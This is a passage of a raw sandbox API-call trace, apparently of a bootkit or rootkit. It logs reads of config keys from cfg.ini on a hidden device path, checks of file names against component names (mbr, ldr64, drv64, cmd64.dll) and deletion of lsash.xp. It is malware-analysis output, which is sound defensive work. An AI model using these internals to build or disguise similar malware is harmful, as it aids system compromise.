ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.818] IdePortDispatch () returned 0x103 [0122.818] KeWaitForMutexObject () returned 0x0 [0122.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.818] KeLeaveCriticalRegion () [0122.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.819] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.819] KeEnterCriticalRegion () [0122.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.819] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.819] KeLeaveCriticalRegion () [0122.819] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.819] KeEnterCriticalRegion () [0122.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.819] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.819] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.819] KeLeaveCriticalRegion () [0122.819] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.819] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.819] KeEnterCriticalRegion () [0122.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.819] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.819] KeLeaveCriticalRegion () [0122.819] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.819] ReleaseMutex (hMutex=0xf0) returned 1 [0122.819] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.819] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.819] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.819] KeEnterCriticalRegion () [0122.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.819] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.819] IdePortDispatch () returned 0x103 [0122.820] KeWaitForMutexObject () returned 0x0 [0122.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.820] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.820] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.820] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.820] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.820] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be68b0 [0122.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.820] KeLeaveCriticalRegion () [0122.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.820] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.820] KeEnterCriticalRegion () [0122.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.820] KeLeaveCriticalRegion () [0122.820] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.820] KeEnterCriticalRegion () [0122.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.820] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.820] IdePortDispatch () returned 0x103 [0122.820] KeWaitForMutexObject () returned 0x0 [0122.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.820] KeLeaveCriticalRegion () [0122.820] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.820] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.821] KeEnterCriticalRegion () [0122.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2d000 [0122.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.821] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.821] IdePortDispatch () returned 0x103 [0122.821] KeWaitForMutexObject () returned 0x0 [0122.821] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.821] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.821] IdePortDispatch () returned 0x103 [0122.821] KeWaitForMutexObject () returned 0x0 [0122.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.821] KeLeaveCriticalRegion () [0122.821] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.822] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.822] KeEnterCriticalRegion () [0122.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.822] KeLeaveCriticalRegion () [0122.822] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.822] KeEnterCriticalRegion () [0122.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.822] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.822] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.822] KeLeaveCriticalRegion () [0122.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.822] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.822] KeEnterCriticalRegion () [0122.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.822] ExFreePoolWithTag (P=0xfffffa8003be68b0, Tag=0x0) [0122.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.822] KeLeaveCriticalRegion () [0122.822] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.822] ReleaseMutex (hMutex=0xf0) returned 1 [0122.822] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.822] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.822] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.822] KeEnterCriticalRegion () [0122.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.822] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.822] IdePortDispatch () returned 0x103 [0122.822] KeWaitForMutexObject () returned 0x0 [0122.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.823] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.823] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.823] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.823] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.823] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7b60 [0122.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.823] KeLeaveCriticalRegion () [0122.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.823] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.823] KeEnterCriticalRegion () [0122.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.823] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.823] KeLeaveCriticalRegion () [0122.823] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.823] KeEnterCriticalRegion () [0122.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.823] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.823] IdePortDispatch () returned 0x103 [0122.823] KeWaitForMutexObject () returned 0x0 [0122.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.823] KeLeaveCriticalRegion () [0122.823] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.823] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.823] KeEnterCriticalRegion () [0122.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2e000 [0122.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.823] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.823] IdePortDispatch () returned 0x103 [0122.824] KeWaitForMutexObject () returned 0x0 [0122.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.824] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.824] IdePortDispatch () returned 0x103 [0122.824] KeWaitForMutexObject () returned 0x0 [0122.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.824] KeLeaveCriticalRegion () [0122.824] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.824] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.824] KeEnterCriticalRegion () [0122.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.824] KeLeaveCriticalRegion () [0122.825] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.825] KeEnterCriticalRegion () [0122.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.825] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.825] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.825] KeLeaveCriticalRegion () [0122.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.825] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.825] KeEnterCriticalRegion () [0122.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.825] ExFreePoolWithTag (P=0xfffffa8003be7b60, Tag=0x0) [0122.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.825] KeLeaveCriticalRegion () [0122.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.825] ReleaseMutex (hMutex=0xf0) returned 1 [0122.825] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.825] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.825] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.825] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.825] KeEnterCriticalRegion () [0122.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.825] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.825] IdePortDispatch () returned 0x103 [0122.825] KeWaitForMutexObject () returned 0x0 [0122.825] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.825] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.825] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.825] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.825] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.825] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.825] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.825] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.825] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.825] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.826] KeLeaveCriticalRegion () [0122.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.826] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.826] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.826] KeEnterCriticalRegion () [0122.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.826] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.826] IdePortDispatch () returned 0x103 [0122.826] KeWaitForMutexObject () returned 0x0 [0122.826] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.826] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.826] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.826] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.826] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.826] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.826] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.826] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.826] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.826] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.826] KeLeaveCriticalRegion () [0122.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.826] ReleaseMutex (hMutex=0x100) returned 1 [0122.826] Sleep (dwMilliseconds=0x2bf20) [0122.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c692290, dwHighDateTime=0x1d24fa4)) [0122.833] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.833] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.834] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.834] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.834] KeEnterCriticalRegion () [0122.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.834] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.834] IdePortDispatch () returned 0x103 [0122.834] KeWaitForMutexObject () returned 0x0 [0122.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.834] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.834] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.834] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.834] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.834] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be77a0 [0122.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.834] KeLeaveCriticalRegion () [0122.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.834] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: 